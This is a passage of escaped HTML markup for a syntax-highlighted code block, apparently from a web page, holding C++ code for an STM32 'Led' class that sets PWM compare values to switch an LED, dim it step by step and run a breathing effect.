class=\"lnt\"\u003e 70\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 71\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 72\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 73\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 74\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 75\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 76\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 77\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 78\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 79\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 80\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 81\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 82\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 83\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 84\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 85\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 86\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 87\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 88\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 89\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 90\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 91\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 92\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 93\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 94\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 95\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 96\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 97\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 98\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 99\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e100\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e101\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e102\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e103\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e104\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e105\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e106\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e107\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e108\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e109\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e110\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e111\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e112\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e113\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e114\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e115\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e116\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e117\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e118\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e119\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e120\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e121\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e122\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e123\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e124\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e125\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e126\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e127\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e128\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e129\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e130\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e131\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e132\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e133\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e134\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e135\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e136\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e137\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e138\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e139\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e140\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e141\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e142\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e143\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-cpp\" data-lang=\"cpp\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eLed\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTIM_HandleTypeDef\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003e__htim__\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003e__ch__\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003e__max__\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e255\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003e__diff__\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eCrtTask\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eCrtBreathStatus\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ecrt\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eLed\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTIM_HandleTypeDef\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__htim__\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ehtim\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__ch__\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e~\u003c/span\u003e\u003cspan class=\"n\"\u003eLed\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__HAL_TIM_SET_COMPARE\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e__htim__\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003e__ch__\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ecompare\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecompare\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecompare\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecompare\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003e__max__\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecompare\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003e__max__\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecrt\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ecompare\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__HAL_TIM_SetCompare\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e__htim__\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003e__ch__\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ecompare\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003ereset\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrtTask\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrtBreathStatus\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003etoggle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ecompare\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecrt\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecompare\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ereset\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nf\"\u003eminus\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecrt\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecrt\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nf\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecrt\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"n\"\u003e__max__\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecrt\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nf\"\u003eTryBreath\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003ealways\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eswitch\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCrtBreathStatus\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrtBreathStatus\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan 